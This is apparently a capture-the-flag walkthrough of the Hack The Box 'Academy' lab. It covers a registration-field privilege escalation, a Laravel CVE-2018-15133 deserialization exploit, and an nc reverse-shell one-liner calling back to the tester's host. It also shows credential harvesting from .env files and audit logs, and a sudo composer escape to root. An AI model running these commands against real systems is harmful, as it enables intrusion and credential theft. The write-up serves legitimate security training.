

0x1 Scan

Found 3 ports

```
root@offsec/academy git:(master) ➤ rustscan --ulimit 500 -a academy.htb -- -sC -sV -Pn --script=default
```

```
[O] H[{}][{}][{}][{}]/[{}]/[{}]\[{}][{}]
```

```
[~] M[{}][{}][{}][{}][{}][{}][{}][{}][{}][{}]
```

```
The Modern Day Port Scanner.
```

```
-- https://discord.gg/GFrQs6y
```

```
-- https://github.com/RustScan/RustScan
```

```
HACK THE PLANET
```

```
[~] The config file is expected to be at "/home/ghost/.rustscan.toml"
```

```
[~] Automatically increasing ulimit value to 500.
```

```
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
```

```
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
```

```
Open 10.10.10.215:22
```

```
Open 10.10.10.215:80
```

```
Open 10.10.10.215:33060
```

```
[~] Starting Script(s)
```

```
> Script to be run Some("nmap -vvv -p {{port}} {{ip}}")
```

```

PORT      STATE SERVICE VERSION
22/tcp    open  ssh      syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 c0:90:a3:d8:35:25:6f:fa:33:06:cf:80:13:a0:a5:53 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAQGC/0BA3dU0ygKcVp7G63GklCe0qxb17vxMCsugN05RA9Fhj7AzkPiMLrrKRY65
uo/nXnYfiNABWV0e9Qp+djDbEvP5lHwIDMTAtgggoSC1chubC3jFC4hihuvYjtjtUr4+5fR0omhJAo/GEvdBj2CYNHIFEvmuVb32
mZ8sucap6qN/nFYnPoF7fd+LGaQ0hz9MKAZCTMmLqSiZGSistAIPzHtABHOVQDbo2TqJ+kGWr9/EamCcYBbVVPaFj/XQqujoEjLY
|   256 2a:d5:4b:d0:46:f0:ed:c9:3c:8d:f6:5d:ab:ae:77:96 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAYNTYAAAAIbmlzdHAYNTYAAABBBBAIMsz8qKL1UCyrPmpM5iTmoy3
|   256 e1:64:14:c3:cc:51:b2:3b:a6:28:a7:b1:ae:5f:45:35 (ED25519)
|_ ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHBp1E2rWeTShvyJKxCSBrv1Do30wvWIzLZHWVw/bD0R
80/tcp    open  http      syn-ack Apache httpd 2.4.41 (Ubuntu)
|_ http-title: Hack The Box Academy
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_ http-server-header: Apache/2.4.41 (Ubuntu)
33060/tcp open  mysqlx?  syn-ack
| fingerprint-strings:
|   DNSStatusRequestTCP, LDAPSearchReq, NotesRPC, SSLSessionReq, TLSSessionReq, X11Probe, afp:
|     Invalid message"
|_   HY000

```

0x2 HTTP



There's *login* and *register*. So I registered as *ghost*.

egre55

Free

5970

Dashboard

Modules

All Modules

In-Progress Modules

Available Modules

Owned Modules

Draft Modules

Paths

MODULES

All

Fundamental

Easy

Medium

Hard

All

Tier 0

Tier I

Tier II

Tier III

Tier IV

All

Offensive

Defensive

General

Search...

Learning Process

Tier 0

Fundamental

General

12 Sections +10

Unlocks For 10

Unlock

Intro to Academy

Tier 0

Fundamental

General

8 Sections +10

Start

Hacking WordPress

Tier II

Easy

Offensive

16 Sections +20

Unlocks For 100

Unlock

Using Nmap

Tier 0

Fundamental

General

Unlocks For 10

Unlock

Cracking Passwords with Hashcat

Tier 0

Fundamental

General

Unlocks For 10

Unlock

Active Directory LDAP

Tier 0

Fundamental

General

Unlocks For 100

Unlock

I run *feroxbuster* and found *admin.php* but I cannot login.

```

# offsec/academy git:(master) ▶ feroxbuster -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://academy.htb -k -x php

FERRETE
by Ben "epi" Risher 🐼
ver: 2.3.3

Target Url      http://academy.htb
Threads        50
Wordlist        /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
Status Codes    [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
Timeout (secs) 7
User-Agent      feroxbuster/2.3.3
Config File     /etc/feroxbuster/ferox-config.toml
Extensions     [php]
Insecure       true
Recursion Depth 4
New Version Available https://github.com/epi052/feroxbuster/releases/latest

Press [ENTER] to use the Scan Cancel Menu™

301      9L      28w      311c http://academy.htb/images
200      76L     131w     2117c http://academy.htb/index.php
200      141L    226w     2627c http://academy.htb/login.php
302      1049L   4114w     0c http://academy.htb/home.php
200      141L    227w     2633c http://academy.htb/admin.php
200      148L    247w     3003c http://academy.htb/register.php
200      0L      0w      0c http://academy.htb/config.php

[#####>-----] - 25s 177127/882180 1m found:7 errors:0
[#####>-----] - 25s 88524/441090 3517/s http://academy.htb
[#####>-----] - 25s 88582/441090 3524/s http://academy.htb/images

```

admin.php

I look into *register.php* again and payload is interesting.

Request

Details

POST http://academy.htb/register.php HTTP/1.1

Host

academy.htb

Proxy-Connection

keep-alive

Content-Length

50

Cache-Control

max-age=0

Upgrade-Insecure-Requests

1

Origin

http://academy.htb

Content-Type

application/x-www-form-urlencoded

User-Agent

Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36

Accept

text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

Referer

http://academy.htb/register.php

Accept-Encoding

gzip, deflate

Accept-Language

en-GB,en-US;q=0.9,en;q=0.8

Cookie

PHPSESSID=h80s1od0ekah9e0fb1uj1fj0

uid: scream

password: scream

confirm: scream

roleid: 0

View: auto

URLEncoded form

roleid seems interesting. I try changing to *1* and submit.

Request

Details

POST http://academy.htb/register.php HTTP/1.1

Host

academy.htb

Proxy-Connection

keep-alive

Content-Length

50

Cache-Control

max-age=0

Upgrade-Insecure-Requests

1

Origin

http://academy.htb

Content-Type

application/x-www-form-urlencoded

User-Agent

Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36

Accept

text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

Referer

http://academy.htb/register.php

Accept-Encoding

gzip, deflate

Accept-Language

en-GB,en-US;q=0.9,en;q=0.8

Cookie

PHPSESSID=h80s1od0ekah9e0fb1uj1fjn0

uid: scream

password: scream

confirm: scream

roleid: 1

View: auto

URLEncoded form

Registration is successful.

Path	Method	Status	Size	Time
http://academy.htb/register.php	GET	200	1001b	1min
http://academy.htb/register.php	POST	302	3.0kb	4min
http://academy.htb/success-page.php	GET	200	405b	27ms
http://academy.htb/login.php	GET	200	964b	25ms

Request

Response

Details

GET http://academy.htb/success-page.php HTTP/1.1

Host

academy.htb

Proxy-Connection

keep-alive

Cache-Control

max-age=0

Upgrade-Insecure-Requests

1

User-Agent

Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36

Accept

text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

Referer

http://academy.htb/register.php

Accept-Encoding

gzip, deflate

Accept-Language

en-GB,en-US;q=0.9,en;q=0.8

Cookie

PHPSESSID=h80s1od0ekah9e0fb1uj1fjn0

Request content missing.

Now I try *admin.php* again and this time I can login.

- scream:scream

- <http://academy.htb/admin-page.php>

Academy Launch Planner

Item	Status
Complete initial set of modules (cry0l1t3 / mrb3n)	done
Finalize website design	done
Test all modules	done
Prepare launch campaign	done
Separate student and admin roles	done
Fix issue with dev-staging-01.academy.htb	pending

I found subdomain.

- dev-staging-01.academy.htb

dev-staging-01.academy.htb

When I go to the site, I got an error page.

The stream or file "/var/www/html/htb-academy-dev-01/storage/logs/laravel.log" could not be opened in append mode: Permission denied

Application frames (1) All frames (11) COPY

- 10 UnexpectedValueException
.../vendor/monolog/monolog/src/Monolog/Handler/StreamHandler.php:110
- 9 Monolog/Handler/StreamHandler write
.../vendor/monolog/monolog/src/Monolog/Handler/AbstractProcessingHandler.php:39
- 8 Monolog/Handler/AbstractProcessingHandler handle
.../vendor/monolog/monolog/src/Monolog/Logger.php:344
- 7 Monolog/Logger addRecord
.../vendor/monolog/monolog/src/Monolog/Logger.php:712
- 6 Monolog/Logger error
.../vendor/laravel/framework/src/Illuminate/Log/Logger.php:176
- 5 Illuminate/Log/Logger writeLog
.../vendor/laravel/framework/src/Illuminate/Log/Logger.php:87
- 4 Illuminate/Log/Logger error
.../vendor/laravel/framework/src/Illuminate/Log/LogManager.php:526
- 3 Illuminate/Log/LogManager error
.../vendor/laravel/framework/src/Illuminate/Foundation/Exceptions/Handler.php:133
- 2 Illuminate/Foundation/Exceptions/Handler report
.../app/Exceptions/Handler.php:39
- 1 App/Exceptions/Handler report
.../vendor/laravel/framework/src/Illuminate/Foundation/Bootstrap/HandleExceptions.php:81
- 0 Illuminate/Foundation/Bootstrap/HandleExceptions handleException
[internal]:0

```

/var/www/html/htb-academy-dev-01/vendor/monolog/monolog/src/Monolog/Handler/StreamHandler.php
100.     $this->errorMessage = null;
101.     set_error_handler(array($this, 'customErrorHandler'));
102.     $this->stream = fopen($this->url, "a");
103.     if ($this->filePermission !== null) {
104.         @chmod($this->url, $this->filePermission);
105.     }
106.     restore_error_handler();
107.     if (!is_resource($this->stream)) {
108.         $this->stream = null;
109.         throw new \UnexpectedValueException(sprintf('The stream or file "%s" could not be opened in append mode:
110.         %s', $this->errorMessage, $this->url));
111.     }
112. }
113.
114. if ($this->useLocking) {
115.     // ignoring errors here, there's not much we can do about them
116.     flock($this->stream, LOCK_EX);
117. }
118.
119. $this->streamWrite($this->stream, $record);
120.
121. if ($this->useLocking) {
122.     flock($this->stream, LOCK_UN);
123. }
124. }
125.
Arguments
1. "The stream or file "/var/www/html/htb-academy-dev-01/storage/logs/laravel.log" could not be opened in append mode: failed to open stream:
Permission denied"

Environment & details:
GET Data empty
POST Data empty
Files empty
Cookies empty
Session empty
Server/Request Data
HTTP_HOST dev-staging-01.academy.htb"
HTTP_USER_AGENT "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5546.195 Safari/537.36 E
HTTP_ACCEPT "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"
HTTP_ACCEPT_LANGUAGE "en-US,en;q=0.5"
HTTP_ACCEPT_ENCODING "gzip, deflate"
HTTP_DNT "1"
HTTP_CONNECTION "keep-alive"
HTTP_UPGRADE_INSECURE_REQUESTS "1"
PATH "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin"
SERVER_SIGNATURE "<address>Apache/2.4.41 (Ubuntu) Server at dev-staging-01.academy.htb Port 80</address> "
SERVER_SOFTWARE "Apache/2.4.41 (Ubuntu)"
SERVER_NAME "dev-staging-01.academy.htb"
SERVER_ADDR "10.10.10.215"
SERVER_PORT "80"
REMOTE_ADDR "10.10.14.10"
DOCUMENT_ROOT "/var/www/html/htb-academy-dev-01/public"
REQUEST_SCHEME "http"
CONTEXT_PREFIX ""
CONTEXT_DOCUMENT_ROOT "/var/www/html/htb-academy-dev-01/public"
SERVER_ADMIN "admin@htb"
SCRIPT_FILENAME "/var/www/html/htb-academy-dev-01/public/index.php"
REMOTE_PORT "47356"
GATEWAY_INTERFACE "CGI/1.1"

```

From the logs, I can see that it is running **laravel**. With some googling, I found out a vulnerability in HTTP header with deserialization error that can lead to code execution.

- <https://www.exploit-db.com/exploits/47129>

Detailed explanation can be found here.

- <https://www.programmersought.com/article/29875427507/>

I do not want to use Metasploit and I found the alternative instead.

- https://github.com/aljavier/exploit_laravel_cve-2018-15133

I downloaded the execute the exploit and gain RCE. I got API key from debug page.

- `dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0=`

```
(env) = nineveh/exploit_laravel_cve-2018-15133 git:(master) ► python pwn_laravel.py 'http://dev-staging-01.academy.htb/' dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0= -c id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
(env) = nineveh/exploit_laravel_cve-2018-15133 git:(master) ►
```

I got reverse shell with the following payload.

```
hash
1 | rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.10 8000
  >/tmp/f
```

```
= nineveh/exploit_laravel_cve-2018-15133 git:(master) ► nc -lvnp 8000
listening on [any] 8000 ...
connect to [10.10.14.10] from (UNKNOWN) [10.10.10.215] 52376
sh: 0: can't access tty; job control turned off
$ export TERM=xterm
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@academy:/var/www/html/htb-academy-dev-01/public$
```

0x3 Foothold

I found several users under `/home`.

```
www-data@academy:/var/www/html/htb-academy-dev-01/public$ ls /home
ls /home
21y4d ch4p cry0l1t3 egre55 g0blin mrb3n
www-data@academy:/var/www/html/htb-academy-dev-01/public$
```

`cry0l1t3` has `user.txt` so most likely I need to do lateral movement to that user.

```
www-data@academy:/home/cry0l1t3$ ls -al
ls -al
total 32
drwxr-xr-x 4 cry0l1t3 cry0l1t3 4096 Aug 12 2020 .
drwxr-xr-x 8 root      root      4096 Aug 10 2020 ..
lrwxrwxrwx 1 root      root        9 Aug 10 2020 .bash_history → /dev/null
-rw-r--r-- 1 cry0l1t3 cry0l1t3  220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 cry0l1t3 cry0l1t3 3771 Feb 25 2020 .bashrc
drwx----- 2 cry0l1t3 cry0l1t3 4096 Aug 12 2020 .cache
drwxrwxr-x 3 cry0l1t3 cry0l1t3 4096 Aug 12 2020 .local
-rw-r--r-- 1 cry0l1t3 cry0l1t3  807 Feb 25 2020 .profile
-r--r----- 1 cry0l1t3 cry0l1t3   33 Mar 31 14:40 user.txt
www-data@academy:/home/cry0l1t3$
```

Lateral movement → `cry0l1t3`

`academy` credential

Laravel passwords are at `.env` of project root directory.

```
www-data@academy:/var/www/html/academy$ cat .env
cat .env
APP_NAME=Laravel
APP_ENV=local
APP_KEY=base64:dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0=
APP_DEBUG=false
APP_URL=http://localhost

LOG_CHANNEL=stack

DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_PORT=3306
DB_DATABASE=academy
DB_USERNAME=dev
DB_PASSWORD=mySup3rP4s5w0rd!!

BROADCAST_DRIVER=log
CACHE_DRIVER=file
SESSION_DRIVER=file
SESSION_LIFETIME=120
QUEUE_DRIVER=sync

REDIS_HOST=127.0.0.1
REDIS_PASSWORD=null
REDIS_PORT=6379

MAIL_DRIVER=smtp
MAIL_HOST=smtp.mailtrap.io
MAIL_PORT=2525
MAIL_USERNAME=null
MAIL_PASSWORD=null
MAIL_ENCRYPTION=null

PUSHER_APP_ID=
PUSHER_APP_KEY=
PUSHER_APP_SECRET=
PUSHER_APP_CLUSTER=mt1

MIX_PUSHER_APP_KEY="${PUSHER_APP_KEY}"
MIX_PUSHER_APP_CLUSTER="${PUSHER_APP_CLUSTER}"
www-data@academy:/var/www/html/academy$
```

I found `mysql` credential

- `dev:mySup3rP4s5w0rd!!:academy`

`dev`

I found another database credential.

```
www-data@academy:/var/www/html/htb-academy-dev-01$ cat .env
cat .env
APP_NAME=Laravel
APP_ENV=local
APP_KEY=base64:dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEyngggqubHWFj0=
APP_DEBUG=true
APP_URL=http://localhost

LOG_CHANNEL=stack

DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_PORT=3306
DB_DATABASE=homestead
DB_USERNAME=homestead
DB_PASSWORD=secret

BROADCAST_DRIVER=log
CACHE_DRIVER=file
SESSION_DRIVER=file
SESSION_LIFETIME=120
QUEUE_DRIVER=sync

REDIS_HOST=127.0.0.1
REDIS_PASSWORD=null
REDIS_PORT=6379

MAIL_DRIVER=smtp
MAIL_HOST=smtp.mailtrap.io
MAIL_PORT=2525
MAIL_USERNAME=null
MAIL_PASSWORD=null
MAIL_ENCRYPTION=null

PUSHER_APP_ID=
PUSHER_APP_KEY=
PUSHER_APP_SECRET=
PUSHER_APP_CLUSTER=mt1

MIX_PUSHER_APP_KEY="${PUSHER_APP_KEY}"
MIX_PUSHER_APP_CLUSTER="${PUSHER_APP_CLUSTER}"
www-data@academy:/var/www/html/htb-academy-dev-01$
```

- homestead:secret:homestead

I cannot connect to any of the database. So I try logging in to other users and I can login as *cry0l1t3*.

```

www-data@academy:/var/www/html/academy$ sh cry0l1t3
sh cry0l1t3
sh: 0: Can't open cry0l1t3
www-data@academy:/var/www/html/academy$ su cry0l1t3
su cry0l1t3
Password: mySup3rP4s5w0rd!!

$ id
id
uid=1002(cry0l1t3) gid=1002(cry0l1t3) groups=1002(cry0l1t3),4(adm)
$ █

```

user.txt

```

cry0l1t3@academy:~$ cat user.txt
cat user.txt
f3b7e4b0449fc2959ab427532a3d4240
cry0l1t3@academy:~$ ip addr
ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
        valid_lft forever preferred_lft forever
2: ens160: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:50:56:b9:a4:4c brd ff:ff:ff:ff:ff:ff
    inet 10.10.10.215/24 brd 10.10.10.255 scope global ens160
        valid_lft forever preferred_lft forever
    inet6 dead:beef::250:56ff:feb9:a44c/64 scope global dynamic mngtmpaddr
        valid_lft 86399sec preferred_lft 14399sec
    inet6 fe80::250:56ff:feb9:a44c/64 scope link
        valid_lft forever preferred_lft forever
cry0l1t3@academy:~$ hostname
hostname
academy
cry0l1t3@academy:~$ █

```

Lateral movement → mrb3n

I downloaded *linpeas* and run.

```
cry011t3@academy:~$ bash linpeas.sh
bash linpeas.sh
```



```
/-----/
|                                     |
|               Do you like PEASS?   |
|-----|
| Get the latest version   : https://github.com/sponsors/carlospolop |
| Follow on Twitter       : @carlospolopm |
| Respect on HTB          : SirBroccoli  |
|-----|
|               Thank you!           |
|-----|
/-----/
```

Found some *setuid* exploit.

- <https://www.exploit-db.com/download/https://www.exploit-db.com/exploits/41154>

```
[+] [CVE-2017-5618] setuid screen v4.5.0 LPE
```

```
Details: https://seclists.org/oss-sec/2017/q1/184
```

```
Exposure: less probable
```

```
Download URL: https://www.exploit-db.com/download/https://www.exploit-db.com/exploits/41154
```

Also this user group *adm* is interesting.

```
My user
https://book.hacktricks.xyz/linux-hardening/privilege-escalation#users
uid=1002(cry0l1t3) gid=1002(cry0l1t3) groups=1002(cry0l1t3),4(adm)
```

```
Checking Pkexec policy
https://book.hacktricks.xyz/linux-hardening/privilege-escalation/interesting-groups-linux-pe#pe-method-2

[Configuration]
AdminIdentities=unix-user:0
[Configuration]
AdminIdentities=unix-group:sudo;unix-group:admin
```

The user is part of *adm*, and that group is used for system monitoring tasks.

- <https://wiki.debian.org/SystemGroups>

adm: Group adm is used for system monitoring tasks. Members of this group can read many log files in /var/log, and can use xconsole. Historically, /var/log was /usr/adm (and later /var/adm), thus the name of the group. 5 May 2022



Debian

<https://wiki.debian.org/SystemGroups>

SystemGroups - Debian Wiki



About featured snippets



Feedback

I checked *audit logs* using *aureport* and found *mr3n* password.

- https://www.tutorialspoint.com/unix_commands/aureport.htm

aurepport is a very convenient tool, if not will need to look the files below manually and it automatically show plaintext passwords.

[illegible]

```
cry0l1t3@academy:~$ su mrb3n
su mrb3n
Password: mrb3n_Ac@d3my!

$ bash
bash
mrb3n@academy:/home/cry0l1t3$ id
id
uid=1001(mrb3n) gid=1001(mrb3n) groups=1001(mrb3n)
mrb3n@academy:/home/cry0l1t3$
```

Privilege escalation

```

mrb3n@academy:/var/log/audit$ sudo -l
sudo -l
[sudo] password for mrb3n: mrb3n_Ac@d3my!

Matching Defaults entries for mrb3n on academy:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User mrb3n may run the following commands on academy:
    (ALL) /usr/bin/composer
mrb3n@academy:/var/log/audit$ █

```

mrb3n can run *composer* as root.

- <https://gtfobins.github.io/gtfobins/composer/>

Using the command from GTF0 bin, I got root :)

```

mrb3n@academy:/var/log/audit$ TF=$(mktemp -d)
echo '{"scripts":{"x":"/bin/sh -i 0<&3 1>&3 2>&3"}}' >$TF/composer.json
sudo composer --working-dir=$TF run-script xTF=$(mktemp -d)
mrb3n@academy:/var/log/audit$ echo '{"scripts":{"x":"/bin/sh -i 0<&3 1>&3 2>&3"}}' >$TF/composer.json
mrb3n@academy:/var/log/audit$
sudo composer --working-dir=$TF run-script x
PHP Warning:  PHP Startup: Unable to load dynamic library 'mysqli.so' (tried: /usr/lib/php/20190902/mysqli.so,
i.so.so (/usr/lib/php/20190902/mysqli.so.so: cannot open shared object file: No such file or directory)) in Ur
PHP Warning:  PHP Startup: Unable to load dynamic library 'pdo_mysql.so' (tried: /usr/lib/php/20190902/pdo_mys
/pdo_mysql.so.so (/usr/lib/php/20190902/pdo_mysql.so.so: cannot open shared object file: No such file or direc
Do not run Composer as root/super user! See https://getcomposer.org/root for details
> /bin/sh -i 0<&3 1>&3 2>&3
# id
id
uid=0(root) gid=0(root) groups=0(root)
# █

```

root.txt

```
# ls
ls
academy.txt  root.txt  snap
# cat academy.txt
cat academy.txt
```

HTE ACADEMY

We've been hard at work.

Check out our brand new training platform, Hack the Box Academy!

<https://academy.hackthebox.eu/>

Register an account and browse our initial list of courses!



```
# cat root.txt
cat root.txt
3e52b570efa05b4173a112c989046075
# ip addr
ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
        valid_lft forever preferred_lft forever
2: ens160: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:50:56:b9:a4:4c brd ff:ff:ff:ff:ff:ff
    inet 10.10.10.215/24 brd 10.10.10.255 scope global ens160
        valid_lft forever preferred_lft forever
    inet6 dead:beef::250:56ff:feb9:a44c/64 scope global dynamic mngtmpaddr
        valid_lft 86393sec preferred_lft 14393sec
    inet6 fe80::250:56ff:feb9:a44c/64 scope link
        valid_lft forever preferred_lft forever
# hostname
hostname
academy
# █
```